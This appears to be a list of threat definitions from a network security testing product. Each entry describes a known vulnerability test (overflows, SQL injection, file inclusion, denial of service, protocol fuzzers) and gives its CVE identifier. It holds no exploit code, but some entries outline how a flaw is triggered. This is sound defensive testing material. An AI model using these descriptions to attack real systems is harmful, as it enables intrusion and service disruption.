Protocol Type:	HTTP
OSVDB:	29745
Threat Package:	Standard
Threat File Name:	FSC20060704-01_Microsoft_Internet_Explorer_HHCtrl_ocx_Image_Property_Heap_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer HHCtrl.ocx Image Property Heap Corruption (IPv6 Version)
Detailed Description:	There exists a heap memory corruption vulnerability in the Microsoft Internet Explorer browser. The flaw is caused by an improper check during processing of a specially crafted Image property of a specific HTML Help Control ActiveX Object. An attacker can exploit this vulnerability to inject and execute arbitrary code in the security context of the currently logged in user. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2006-3357
Threat Package:	Standard
Threat File Name:	FSC20071115-05_Samba_WINS_Server_Name_Registration_Handling_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Samba WINS Server Name Registration Handling Stack Buffer Overflow (IPv6 Version)
Detailed Description:	A stack-based buffer overflow vulnerability exists in the way Samba handles WINS messages. The vulnerability is due to a boundary error while sending NetBIOS replies. Remote attackers can exploit this vulnerability by sending a specially crafted WINS messages to the Samba WINS interface. Successful exploitation of this vulnerability allows attackers to execute arbitrary code on the vulnerable system in the context of the affected process. (IPv6 Version)
Protocol Type:	NBNS/IPv6
CVEID:	CVE-2007-5398
Threat Package:	Standard
Threat File Name:	FSC20060130-02_Nullsoft_Winamp_Player_Computer_Name_Handling_Buffer_Overflow.xml
Executive Description:	Nullsoft Winamp Player Computer Name Handling Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in Nullsoft Winamp Player. The vulnerability is caused by insufficient data sanitization during playlist file processing. An attacker may exploit the vulnerability by enticing a user to open a crafted playlist file with the affected product, resulting in execution of arbitrary code on the target host.
Protocol Type:	HTTP
CVEID:	CVE-2006-0476
Threat Package:	Standard
Threat File Name:	sipbadtz.xml
Executive Description:	SIPPING: Bad Timezone in Date
Detailed Description:	This threat sends out a SIP INVITE message with the timezone something other than GMT, which is the only legal value. Because this is unexpected, it may confuse or crash a SIP implementation.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	multicastSpoofPing.xml
Executive Description:	Multicast Spoof Ping
Detailed Description:	This threat sends a ping request from a multicast IP address and multicast MAC address. Typically traffic should not been seen coming from these addresses, but be directed to these addresses.
Protocol Type:	IP
Threat Package:	Standard
Threat File Name:	TSL20121009-10_Microsoft_Works_Word_Document_Processing_Use_After_Free_IPv6.xml
Executive Description:	Microsoft Works Word Document Processing Use After Free(IPv6_Version)
Detailed Description:	A vulnerability has been reported in Microsoft Works that could allow remote attackers to execute arbitrary code on the vulnerable system. The vulnerability is due to an error while parsing Word files which can lead to heap corruption. Remote attackers could exploit this vulnerability by persuading a target user to open a specially crafted Word file in a vulnerable application. Successful exploitation would result in execution of arbitrary code with the privileges of the logged in user.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2012-2550
OSVDB:	86056
Threat File Name:	wizzforum_sqlil_IPv6.xml
Executive Description:	Wizz Forum SQL Injection vulnerability (IPv6 Version)
Detailed Description:	This threat sends a crafted URL that contains an SQL query to be executed by the server. Wizz Forum is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-3682
OSVDB:	20845
Threat Package:	Standard
Threat File Name:	FSC20101012-16_Microsoft_Word_Malformed_Index_Code_Execution.xml
Executive Description:	Microsoft Word Malformed Index Code Execution
Detailed Description:	A code execution vulnerability exists in Microsoft Office Word. The vulnerability is due to an error while parsing malformed indexes in a MS Word file.An attacker can exploit this vulnerability to execute arbitrary code in the context of the current user by enticing them to open a specially crafted Word document.

Protocol Type:	HTTP,HTTPS,NFS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2010-2750
Threat File Name:	FSC20070907-14_Microsoft_SQL_Server_Distributed_Management_Objects_Buffer_Overflow.xml
Executive Description:	Microsoft SQL Server Distributed Management Objects Buffer Overflow
Detailed Description:	There exists a buffer overflow vulnerability in the Distributed Management Objects component of Microsoft SQL Server.The vulnerability is due to a boundary error while handling an overly large argument passed to a vulnerable method of the Distributed Management Objects library "sqldmo.dll". A remote attacker could exploit the vulnerability by enticing the target user to open a malicious web page. Successful exploitation would cause a buffer overflow condition which may lead to arbitrary code injection and execution in the security context of the currently logged-in user.
Protocol Type:	HTTP
Threat File Name:	mobb3.xml
Executive Description:	Internet Explorer Outlook Express ActiveX Object
Detailed Description:	This threat sends a malicious webpage that causes Internet Explorer crash due to a null-reference. This is performed by trying to load a non-activeX COM object. This threat would typically come from a malicious webpage over port 80.
Protocol Type:	HTTP
OSVDB:	26836
Threat Package:	Standard
Threat File Name:	quicktime_rtsp.xml
Executive Description:	Quicktime RTSP Handler Stack Overflow
Detailed Description:	This attack sends a malformed page that causes Apple's Quicktime player to overwrite its stack. This can lead to remote code execution and control of the users computer. This attack would typically come from a malicious web site listening on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2007-0015
Threat Package:	Standard
Threat File Name:	sipinvitebadschemecontact.xml
Executive Description:	SIP INVITE Bad Scheme Contact: Field
Detailed Description:	This threat sends out a SIP INVITE message with a Contact: field using FTP. This can confuse or crash a PBX that is not very robust.
Protocol Type:	SIP
Threat Package:	VoIP
Threat File Name:	service_looping.xml
Executive Description:	UDP Service Looping
Detailed Description:	This threat sends out a UDP packet full of 0x41('A') from a spoofed source address and port to a specified target IP and port. This is an attempt to get two services to bounce messages between each other in order to use up bandwidth and resources.
Protocol Type:	UDP
CVEID:	CVE-1999-0103
OSVDB:	150
Threat Package:	Standard
Threat File Name:	TSL20161108-37_Microsoft_Windows_OpenType_Font_Memory_Corruption.xml
Executive Description:	Microsoft Windows OpenType Font Memory Corruption
Detailed Description:	A memory corruption vulnerability exists in Microsoft Windows font library. The vulnerability is due to improper processing of OpenType fonts. A remote attackers can exploit this vulnerability by convincing a user to open a specially crafted document, or visit a crafted webpage. Successful exploitation could result in arbitrary code execution under the security context of the system.
Protocol Type:	HTTP, HTTPS, IMAP, POP3, SMTP, SMB/CIFS
CVEID:	CVE-2016-7256
Threat File Name:	TSL20121121-07_Sophos_Anti-Virus_CAB_Files_Invalid_typeCompress_Parsing_Heap_Buffer_Overflow_IPv6.xml
Executive Description:	Sophos Anti-Virus CAB Files Invalid typeCompress Parsing Heap Buffer Overflow(IPV6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Sophos Anti-Virus. The vulnerability is due to an error in the way the application handles invalid typeCompress value. The error causes the bounds check on the input data size being skipped, which further leads to a heap buffer overflow. A remote attacker could exploit this vulnerability by causing Sophos Anti-Virus to process a specially crafted CAB file. Successful exploitation could result in arbitrary code execution in the context of the affected service, which is SYSTEM by default.
Protocol Type:	IPV6,HTTP,HTTPS,SMTP,IMAP,POP3,SMB/CIFS,NFS
OSVDB:	87062
Threat File Name:	shadow_portal_rfi.xml
Executive Description:	Shadowed Portal 5.999 Remote File Include Vulnerability
Detailed Description:	This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server.Shadowed Portal is a web application that typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-4826
OSVDB:	28835
Threat Package:	Standard
Threat File Name:	FSC20070710-13_Microsoft_Windows_Active_Directory_Crafted_LDAP_Request_Denial_of_Service.xml
Executive Description:	Microsoft Windows Active Directory Crafted LDAP Request Denial of Service
Detailed Description:	There exists a denial of service vulnerability in Microsoft Windows Active Directory. The flaw is caused by improper handling of LDAP requests. An unauthenticated remote attacker may exploit this vulnerability by sending a specially crafted LDAP message to the target host, causing the target server to temporarily stop responding.
Protocol Type:	
CVEID:	CVE-2007-3028
Threat Package:	Standard

Threat File Name:	fuzz-TFTP_Filename_formatn_WRQ.xml
Executive Description:	TFTP Fuzzer fuzz-TFTP_Filename_formatn_WRQ.xml
Detailed Description:	Fuzzes Filename field by appending one or more of %n to the filename. OpCode is WRQ
Protocol Type:	TFTP
Threat Package:	Fuzzing
Threat File Name:	fuzz-HSRP_Hellotime.xml
Executive Description:	Fuzzer for Protocol:HSRP and Field:Hellotime
Detailed Description:	
Protocol Type:	HSRP
Threat Package:	Fuzzing
Threat File Name:	ipv6routersolflood.xml
Executive Description:	IPv6 Router Solicitation Flood
Detailed Description:	This threat sends out a flood of ICMPv6 router solicitation requests. This can flood a router that tries to keep up by replying with router advertisement packets.
Protocol Type:	ICMP6
Threat Package:	Standard
Threat File Name:	TSL20150223-06_Dell_ScriptLogic_Asset_Manager_GetClientPackage_SQL_Injection_IPv6.xml
Executive Description:	Dell ScriptLogic Asset Manager GetClientPackage SQL Injection IPv6 version.
Detailed Description:	An SQL Injection vulnerability exists in Dell ScriptLogic Asset Manager. The vulnerability is due to insufficient input validation while processing requests to GetClientPackage.aspx. By sending crafted HTTP requests, a unauthenticated, remote attacker can exploit this vulnerability to execute code under the security context of the Network Service account.
Protocol Type:	HTTP/HTTPS,IPV6
CVEID:	CVE-2015-1605
OSVDB:	118627
Threat File Name:	mercur_imap_rbof2.xml
Executive Description:	Mercur Messaging 2005 IMAP (SUBSCRIBE) Remote Stack Overflow Vulnerability
Detailed Description:	This treat sends a specially crafted SUBSCRIBE command to a Mercur Messaging 2005 IMAP server that may cause the execution of arbitrary code or a denial of service condition. Mercur Messaging 2005 IMAP server typically listens on port 143.
Protocol Type:	IMAP
Threat Package:	Standard
Threat File Name:	TSL20170313-06_HPE_Intelligent_Management_Center_FileUploadServlet_Directory_Traversal_IPv6.xml
Executive Description:	HPE Intelligent Management Center FileUploadServlet Directory Traversal (IPv6 Version)
Detailed Description:	A directory traversal vulnerability has been reported in HPE Intelligent Management Center. The vulnerability is due to a lack of proper input sanitization on multipart form-data requests in FileUploadServlet. A remote attacker can exploit this vulnerability by sending a maliciously crafted HTTP request. Successful exploitation could result in the execution of arbitrary code under the context of the SYSTEM user
Protocol Type:	HTTP,HTTPS,IPV6
CVEID:	CVE-2017-5794
Threat File Name:	TSL20110727-05_Apple_Safari_WebKit_SVG_Memory_Corruption.xml
Executive Description:	Apple Safari WebKit SVG Memory Corruption
Detailed Description:	A heap memory corruption vulnerability has been found in the WebKit component of Apple Safari. The vulnerability is located in the code that handles Scalable Vector Graphics (SVG) objects and causes access to corrupted memory. A remote attacker could entice a target user to view a maliciously crafted web page that exploits this vulnerability to run arbitrary code in the target user's security context.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2011-0222
Threat File Name:	hivemail_cmi_d.xml
Executive Description:	HiveMail 1.3 remote command execution exploit
Detailed Description:	This threat send a crafted HTTP GET query which allows the crafted URL to insert PHP code, this is then executed by the server via the "cmd" parameter. HiveMail is a web application with typically listens on port 80.
Protocol Type:	HTTP
CVEID:	CVE-2006-0757
Threat Package:	Standard
Threat File Name:	TSL20130709-32_Microsoft_Internet_Explorer_CVE-2013-3143_Memory_Corruption_IPv6.xml
Executive Description:	Microsoft Internet Explorer CVE-2013-3143 Memory Corruption [IPv6, Version]
Detailed Description:	A memory corruption vulnerability has been reported in Microsoft Internet Explorer. The vulnerability is due to an error while handling certain objects when processing HTML and script code. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	IPv6, HTTP,HTTPS
CVEID:	CVE-2013-3143
OSVDB:	94967
Threat File Name:	TSL20161104-06_Memcached_process_bin_append_prepend_Integer_Overflow.xml
Executive Description:	Memcached process_bin_append_prepend Integer Overflow
Detailed Description:	An integer overflow vulnerability exists in memcached. This vulnerability is due to a lack of bounds checking in the process_bin_append_prepend function while processing commands that append or prepend data to existing key-value pairs. A remote unauthenticated attacker can exploit these vulnerabilities by sending a specially crafted packet to memcached. This can lead to a buffer overflow and possible code execution in the context of the user. If code execution is unsuccessful, a denial of service condition may result.
Protocol Type:	Memcache
CVEID:	CVE-2016-8704
Threat File Name:	TSL20130312-01_Microsoft_Internet_Explorer_onResize_Use_After_Free.xml
Executive Description:	Microsoft Internet Explorer onResize Use After Free

Detailed Description:	A code execution vulnerability exists in Microsoft Internet Explorer. The vulnerability is caused by a Use-After-Free error when processing script code in the onResize event handler. A remote attacker could exploit this vulnerability by enticing the target user to open a malicious web page. In the case of successful exploitation, arbitrary attacker code would be executed in the security context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2013-0087
OSVDB:	91138
Threat File Name:	TSL20140415-01_Advantech_WebAccess_SCADA_webvact_ocx_GotoCmd_Buffer_Overflow.xml
Executive Description:	Advantech WebAccess SCADA webvact.ocx GotoCmd Buffer Overflow
Detailed Description:	A stack buffer overflow exists in Advantech's WebAccess SCADA software. This is due to insufficient input validation on the GotoCmd parameter of the webvact.ocx ActiveX control, a part of the WebAccess Client. A remote, unauthenticated attacker could exploit this vulnerability by enticing a vulnerable user to open a crafted web page. Successful exploitation could lead to code execution in the context of the target user.
Protocol Type:	HTTP,HTTPS
CVEID:	CVE-2014-0765
OSVDB:	105564
Threat File Name:	htrChunked_IPv6.xml
Executive Description:	MS02-028 HTR Chunked Attack (IPv6 Version)
Detailed Description:	This threat sends a 'chunked' HTTP message to Microsoft Internet Information Services. This vulnerability is different than the ASP vulnerability, as it attacks the .htr extension parsing portion of IIS. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2002-0364
OSVDB:	5316
Threat Package:	Standard
Threat File Name:	TSL20131112-14_Microsoft_Office_WordPerfect_File_Converting_Buffer_Overflow_IPv6.xml
Executive Description:	Microsoft Office WordPerfect File Converting Buffer Overflow(IPv6 Version)
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Office. The vulnerability is due to improper handling of structures when parsing a specially crafted WordPerfect document. Remote, unauthenticated attackers could exploit this vulnerability by enticing the target user to open a specially crafted WordPerfect file. Successful exploitation allows the attacker to execute arbitrary code, or terminate the affected application.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,IPV6
CVEID:	CVE-2013-1325
OSVDB:	99650
Threat File Name:	goodtechSMTP.xml
Executive Description:	GoodTech SMTP Server DoS
Detailed Description:	This threat causes the GoodTech SMTP server to crash by sending a poorly created RCPT TO field. SMTP servers typically listen on port 25.
Protocol Type:	SMTP
CVEID:	CVE-2005-2387
OSVDB:	17197
Threat Package:	Standard
Threat File Name:	FSC20070911-14_Microsoft_Visual_Studio_PDWizard_ocx_ActiveX_Control_Code_Execution.xml
Executive Description:	Microsoft Visual Studio PDWizard.ocx ActiveX Control Code Execution
Detailed Description:	There exists a access control weakness vulnerability in the way Microsoft Visual Basic ActiveX Control handles user supplied data. The vulnerability is a result of insufficient data validation while processing the StartProcess method call from a webpage script. A remote attacker can exploit this vulnerability by enticing the target user to open a malicious webpage, potentially allowing arbitrary code to be executed in the security context of the currently logged in user.
Protocol Type:	HTTP
CVEID:	CVE-2007-4891
Threat Package:	Standard
Threat File Name:	wuftp_exec_fs.xml
Executive Description:	Wu-Ftpd Remote Format String Stack Overwrite Vulnerability
Detailed Description:	This threat sends a crafted SITE command containing a format string exercising the flaw. WU-FTP is an FTP server which typically listens on port 21.
Protocol Type:	FTP
CVEID:	CVE-2000-0573
OSVDB:	11805
Threat File Name:	TSL20071210-01_3ivx_MPEG-4_MP4_File_Handling_Stack_Overflow.xml
Executive Description:	3ivx MPEG-4 MP4 File Handling Stack Overflow
Detailed Description:	There exists a buffer overflow vulnerability in 3ivx MPEG-4. Specifically, the vulnerability is due to improper handling of MP4 files by the 3ivx MPEG-4 codec plugin. A remote attacker can exploit this vulnerability by enticing the target user to open crafted MP4 file, potentially causing arbitrary code to be injected and executed in the security context of the currently logged in user. In a simple attack case, the affected media player application may terminate when the malicious file is opened. In a sophisticated attack scenario, where the malicious user is successful in injecting and executing supplied code, the behaviour of the system is dependent on the nature of the injected code. Any code injected into the vulnerable component would execute in the security context of the currently logged in user.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP
CVEID:	CVE-2007-6401
Threat File Name:	tcpdump_ldp.xml
Executive Description:	tcpdump LDP DOS
Detailed Description:	This threat cause tcpdump to enter into an infinite loop. This particular packet is a UDP packet sent to port 646. This threat can be used in order to mask an attacker's actions.
Protocol Type:	LDP
CVEID:	CVE-2005-1279
OSVDB:	15864
Threat Package:	Standard

Threat File Name:	TSL20140604-01_Ericom_AccessNow_Server_Stack_Buffer_Overflow_IPv6.xml
Executive Description:	Ericom AccessNow Server Stack Buffer Overflow IPv6 version.
Detailed Description:	A stack buffer overflow vulnerability exists in Ericom AccessNow Server. The vulnerability is due to improper handling of specially crafted HTTP requests for non-existent files. A remote attacker can exploit this vulnerability by sending a crafted HTTP request. A successful attack can result in arbitrary code execution with SYSTEM privilege, while an unsuccessful attack will lead to a denial of service condition. Tester can turn the variable \$HTTPdestPort into 8080 using the script.
Protocol Type:	HTTP,IPv6
CVEID:	CVE-2014-3913
OSVDB:	107674
Threat File Name:	nimda7.xml
Executive Description:	Nimda Request URL 7
Detailed Description:	This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	mobb3_IPv6.xml
Executive Description:	Internet Explorer Outlook Express ActiveX Object (IPv6 Version)
Detailed Description:	This threat sends a malicious webpage that causes Internet Explorer crash due to a null-reference. This is performed by trying to load a non-activeX COM object. This threat would typically come from a malicious webpage over port 80. (IPv6 Version)
Protocol Type:	HTTP/IPv6
OSVDB:	26836
Threat Package:	Standard
Threat File Name:	phpmyagenda_cmi_b.xml
Executive Description:	phpMyAgenda 3.0 Arbitrary Remote File Inclusion (agenda2.php3)
Detailed Description:	This threat leverages an arbitrary remote file inclusion into an arbitrary command execution flaw via the "rootagenda" argument to agenda2.php3. phpMyAgenda is a web application which typically listens on port 80.
Protocol Type:	HTTP
Threat Package:	Standard
Threat File Name:	FSC20041026-01_McAfee_Anti-Virus_Zip_Archive_Virus_Detection_Bypass.xml
Executive Description:	McAfee Anti-Virus ZIP Archive Virus Detection Bypass
Detailed Description:	There exists a vulnerability in the way McAfee Anti-Virus engine scans ZIP archives. The affected software may bypass file entries in a specially crafted ZIP file archive. An attacker can leverage this vulnerability to bypass the anti-virus protection and deliver malicious content to the target. If crafted ZIP file archive is delivered to a system which performs on-access scanning, the malicious content will be detected before it is executed, mitigating the impact of this vulnerability. Note that this vulnerability also exists in several other Anti-Virus product lines from multiple vendors. The list of vendors with affected product lines includes Computer Associates, Kaspersky, Sophos, Eset, GeCAD Software. Please refer to Section 2 for further details.
Protocol Type:	HTTP
CVEID:	CVE-2004-0932
Threat Package:	Standard
Threat File Name:	TSL20130214-11_Adobe_Acrobat_and_Reader_XFA_oneOfChild_Remote_Code_Execution_IPv6.xml
Executive Description:	Adobe Acrobat and Reader XFA oneOfChild Remote Code Execution(IPV6 Version)
Detailed Description:	A remote code execution vulnerability exists in Adobe Acrobat and Reader. The vulnerability is due to an error when dealing with oneOfChild property of an XFA element enclosed in a PDF file. A remote attacker could exploit this vulnerability by enticing a target user to open a crafted document. A successful attack could result in the execution of arbitrary code in the security context of the target user. Note: This vulnerability is currently being exploited
Protocol Type:	IPV6,HTTP,HTTPS,IMAP,POP3,SMB/CIFS,SMTP,NFS
CVEID:	CVE-2013-0640
OSVDB:	90169
Threat File Name:	sshutup.xml
Executive Description:	Sshutup Theo OpenSSH Hack Attempt
Detailed Description:	This threat sends out the first client packet sent by the Gobbles security group's SSH exploit. This is before key exchanges take place. OpenSSH typically listens on port 22, and is widely used for secure terminal access.
Protocol Type:	SSH
CVEID:	CVE-2002-0639
OSVDB:	6245
Threat Package:	Standard
Threat File Name:	TSL20140416-20_Oracle_Data_Quality_FileChooserDlg_onChangeDirectory_Untrusted_Pointer_Dereference.xml
Executive Description:	Oracle Data Quality FileChooserDlg onChangeDirectory Untrusted Pointer Dereference
Detailed Description:	A remote code execution vulnerability exists in Oracle Data Profiling and Data Quality for Data Integrator. The vulnerability is due to dereferencing an arbitrary pointer within the TSS12.DscTools.FileChooserDlg ActiveX control.A remote attacker can exploit this vulnerability by enticing a user to open a malicious web page. Successful exploitation could result in arbitrary code execution in the context of the currently logged on user.
Protocol Type:	HTTP/HTTPS
CVEID:	CVE-2014-2418
OSVDB:	105822105822
Threat File Name:	FSC20090923-06_Adobe_RoboHelp_Server_Arbitrary_File_Upload_and_Execute.xml
Executive Description:	Adobe RoboHelp Server Arbitrary File Upload and Execute
Detailed Description:	A remote code execution vulnerability exists in Adobe RoboHelp. The vulnerability is due to insufficient validation of POST requests sent to the management web server. A remote unauthenticated attacker can exploit this vulnerability by sending a specially crafted request to the server. This crafted request can bypass authentication, allowing the attacker to upload and execute arbitrary files. Successful exploitation of this vulnerability may lead to execution of arbitrary code in the context of SYSTEM.

Protocol Type:	HTTP
CVEID:	CVE-2009-3068
Threat Package:	Standard
Threat File Name:	icecastauth_IPv6.xml
Executive Description:	IceCast XSL bypass (IPv6 Version)
Detailed Description:	This threat is used to obtain user login info by taking advantage of a parser error in IceCast streaming server. This allows a user to listen to private webcasts. (IPv6 Version)
Protocol Type:	HTTP/IPv6
CVEID:	CVE-2005-0838
OSVDB:	14897
Threat Package:	Standard
Threat File Name:	TSL20150409-03_IBM_Tivoli_Storage_Manager_FastBack_Mount_Opcode_0x09_Stack_Buffer_Overflow.xml
Executive Description:	IBM Tivoli Storage Manager FastBack Mount Opcode 0x09 Stack Buffer Overflow
Detailed Description:	A stack-based buffer overflow vulnerability exists in IBM Tivoli Storage Manager FastBack Mount. The vulnerability is due to insufficient input validation of opcode 0x09 messages before copying user-supplied data into a stack buffer. A remote unauthenticated attacker could exploit this vulnerability by sending crafted requests to port 30051/TCP. Successful exploitation can result in arbitrary code execution within the security context of the System user. Tester should set variable \$destPort to 30051 before test.
Protocol Type:	IBM TSM FastBack Mount
CVEID:	CVE-2015-0119
Threat File Name:	FSC20100810-26_Microsoft_Windows_Movie_Maker_MediaClipString_Buffer_Overflow.xml
Executive Description:	Microsoft Windows Movie Maker MediaClipString Buffer Overflow
Detailed Description:	A buffer overflow vulnerability exists in Microsoft Windows Movie Maker. The flaw is due to a boundary error in the way the affected product handles specially crafted MediaClipString data in a Movie Maker project file. A remote attacker can leverage this vulnerability by enticing a target user to open a malicious project file (.MSWMM). A successful attack can result in the injection and execution of arbitrary code on a target system. The resulting code would execute within the security context of the logged in user. In an unsuccessful attack, the affected application may abnormally terminate.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS
CVEID:	CVE-2010-2564
Threat Package:	Standard
Threat File Name:	TSL20100825-09_Adobe_Shockwave_Director_tSAC_Chunk_Parsing_Memory_Corruption.xml
Executive Description:	Adobe Shockwave Director tSAC Chunk Parsing Memory Corruption
Detailed Description:	A code execution vulnerability exists in Adobe Shockwave player. The vulnerability is due to a signedness error while parsing tSAC chunks in Adobe Director files. By providing a certain negative value, calculation of a pointer may lead to a memory corruption. Remote attackers can exploit this vulnerability by enticing target users to open a malicious DIR file using a vulnerable version of the product.Successful exploitation of this vulnerability would result in arbitrary code execution in the security context of the logged in user. In the case of an unsuccessful attack, the affected application may terminate abnormally.
Protocol Type:	HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS
CVEID:	CVE-2010-2866
OSVDB:	N/A
Threat File Name:	ms05-016.xml
Executive Description:	MS05-016 MSHTA Script Execution
Detailed Description:	This threat represents a file being downloaded with an unknown extension, but contains CLSID which invokes the Microsoft HTML Application host scripting. This allows an attacker to represent a file with a bogus extension and mime-type which can be executed by the host downloading the application. For instance, sending an file with the extension of d0c and mime type of application/msword, but with the CLSID of MSHTA. This threat is a client attack that comes from the virtual server.
Protocol Type:	HTTP
CVEID:	CVE-2005-0063
OSVDB:	15469
Threat Package:	Standard
Threat File Name:	FSC20071011-02_CA_BrightStor_ARCserve_Backup_Message_Engine_Stack_Overflow.xml
Executive Description:	CA BrightStor ARCserve Backup Message Engine Stack Overflow
Detailed Description:	There exists a buffer overflow vulnerability in CA BrightStor ARCserve Backup Message Engine. The vulnerability is due to insufficient boundary checking when processing strings supplied in RPC requests. Successful exploitation of this vulnerability allows a remote unauthenticated attacker to execute arbitrary code on the vulnerable system in the context of the affected application, commonly System.
Protocol Type:	Proprietary
CVEID:	CVE-2007-5327
Threat Package:	Standard
Threat File Name:	fuzz-SMTP-HELO_Parameter_question.xml
Executive Description:	Fuzz SMTP HELO verb with ?
Detailed Description:	Fuzzes the SMTP HELO Parameter with ? from size of 0 to a size of 4096.
Protocol Type:	SMTP
Threat Package:	Fuzzing
Threat File Name:	TSL20120814-01_Adobe_Acrobat_and_Reader_U3D_Texture_Parsing_Buffer_Overflow_IPv6.xml
Executive Description:	Adobe Acrobat and Reader U3D Texture Parsing Buffer Overflow(IPv6)
Detailed Description:	A stack based buffer overflow vulnerability exists in Adobe Acrobat Reader and Acrobat Professional products that can allow arbitrary code execution. Remote attackers can exploit this vulnerability by enticing affected users to open a malicious PDF document using a vulnerable version of the product.In a sophisticated attack where code injection is successful, the behaviour of the target host is entirely dependent on the intended function of the injected code. The injected code, in this case, would execute within the security context of the currently logged in user. In an attack case where code injection is not successful, the affected Adobe application parsing the malicious PDF document can terminate abnormally.
Protocol Type:	IPv6,HTTP,HTTPS,IMAP,POP3,SMTP,SMB/CIFS,NFS

CVEID: [CVE-2012-2049](#)

Threat File Name: truenorthDoS.xml
Executive Description: True North IAeMailServer DoS
Detailed Description: This threat causes True North's IMAP server to crash, creating a Denial of Service. IMAP typically listens on port 143.
Protocol Type: IMAP
CVEID: [CVE-2005-2083](#)
OSVDB: [17609](#)
Threat Package: Standard

Threat File Name: nimda8_IPv6.xml
Executive Description: Nimda Request URL 8 (IPv6 Version)
Detailed Description: This threat issues out a request URL in the same format as the Nimda worm, looking for vulnerable machines. (IPv6 Version)
Protocol Type: HTTP/IPv6
Threat Package: Standard

Threat File Name: TSL20150421-11_Novell_ZENworks_Configuration_Management_GetStoredResult_class_SQL_Injection_IPv6.xml
Executive Description: Novell ZENworks Configuration Management GetStoredResult.class SQL Injection IPv6 version.
Detailed Description: An SQL injection vulnerability exists in ZENworks Configuration Management. The vulnerability is due to insufficient sanitization of the input parameter in the GetReRequestData method of the GetStoredResult class before it is used in an SQL query. A remote attacker can exploit this vulnerability by sending a crafted message to a target server, execute arbitrary SQL code, and access sensitive information.
Protocol Type: HTTP/HTTPS.IPv6
CVEID: [CVE-2015-0780](#)

Threat File Name: phpbb_sqli_IPv6.xml
Executive Description: All Topics phpBB module SQL Injection Vulnerability (IPv6 Version)
Detailed Description: This threat sends a crafted HTTP get request that contains malicious SQL commands to the affected server allowing for an attacker to change user and password data. All Topics is a web application that typically listens on port 80 (IPv6 Version)
Protocol Type: HTTP/IPv6
Threat Package: Standard

Threat File Name: knowledgebase_rfi_IPv6.xml
Executive Description: ActiveCampaign KnowledgeBuilder Remote File Include Vulnerability (IPv6 Version)
Detailed Description: This threat sends a crafted url string that will allow for arbitrary code to be executed on the affected server. KnowledgeBuilder is a web application that typically listens on port 80. (IPv6 Version)
Protocol Type: HTTP/IPv6
Threat Package: Standard

Threat File Name: TSL20151209-15_Schneider_Electric_ProClima_FlBookView_CopyRangeEx_Memory_Corruption.xml
Executive Description: Schneider Electric ProClima FlBookView CopyRangeEx Memory Corruption
Detailed Description: A memory corruption vulnerability has been reported in Schneider Electric ProClima. The vulnerability is due to a flaw in the CopyRangeEx() method of the FlBookView ActiveX control, in which a user-supplied integer is interpreted as a memory address. A remote, unauthenticated attacker could exploit this vulnerability by enticing a victim user to browse to a malicious Web page. Successful exploitation could lead to arbitrary code execution under context of the user.
Protocol Type: HTTP,HTTPS
CVEID: [CVE-2015-8561](#)

Threat File Name: dlink_http_syslog_dos_IPv6.xml
Executive Description: D-Link syslog.HTM Denial of Service (IPv6 Version)
Detailed Description: This threat sends a long HTTP request. This HTTP request is known to cause certain D-Link equipment to crash. (IPv6 Version)
Protocol Type: HTTP/IPv6
Threat Package: Standard

Threat File Name: fuzz-TFTP_RandstringFilename_RRQ_OCTET.xml
Executive Description: TFTP Fuzzer fuzz-TFTP_RandstringFilename_RRQ_OCTET.xml
Detailed Description: Fuzzes Filename field by putting random string with ranging sizes in the filename field. OpCode is RRQ. Mode is octet
Protocol Type: TFTP
Threat Package: Fuzzing

Threat File Name: TSL20170330-02_HPE_Intelligent_Management_Center_FileDownloadServlet_filePath_Information_Disclosure.xml
Executive Description: HPE Intelligent Management Center FileDownloadServlet filePath Information Disclosure
Detailed Description: An information disclosure vulnerability has been reported in the Service Operation Manager Module of HPE Intelligent Management Center. The vulnerability is due to errors in handling filePath in FileDownloadServlet. A remote, unauthenticated attacker could exploit this vulnerability by sending a crafted request to the target system. Successful exploitation could allow an attacker to disclose sensitive information under the context of SYSTEM from the target host.
Protocol Type: HTTP,HTTPS
CVEID: [CVE-2017-5797](#)

Threat File Name: FSC20080212-10_Microsoft_Windows_WebDAV_Mini_IPv6.xml
Executive Description: Microsoft Windows WebDAV Mini-Redirector Heap Buffer Overflow (IPv6 Version)
Detailed Description: A vulnerability has been reported in the WebDAV Mini-Redirector component of Microsoft Windows. The flaw can be triggered during the processing of WebDAV responses, causing a heap overflow. An attacker can exploit this vulnerability by persuading the target user to connect to a malicious WebDAV server. A successful attack could lead to arbitrary code execution in the SYSTEM security context. (IPv6 Version)
Protocol Type: HTTP/IPv6
CVEID: [CVE-2008-0080](#)
Threat Package: Standard

Threat File Name:	wireshark_dnp3_dos.xml
Executive Description:	Wireshark < 0.99.5 DNP3 Dissector Denial of Service Vulnerability
Detailed Description:	This threat uses a specially crafted udp packet to exploit a flaw in the DNP3 protocol dissector for Wireshark causing an infinite loop, leading to a denial of service condition. This threat uses an arbitrary udp port.
Protocol Type:	UDP
CVEID:	CVE-2007-3390
Threat Package:	Standard
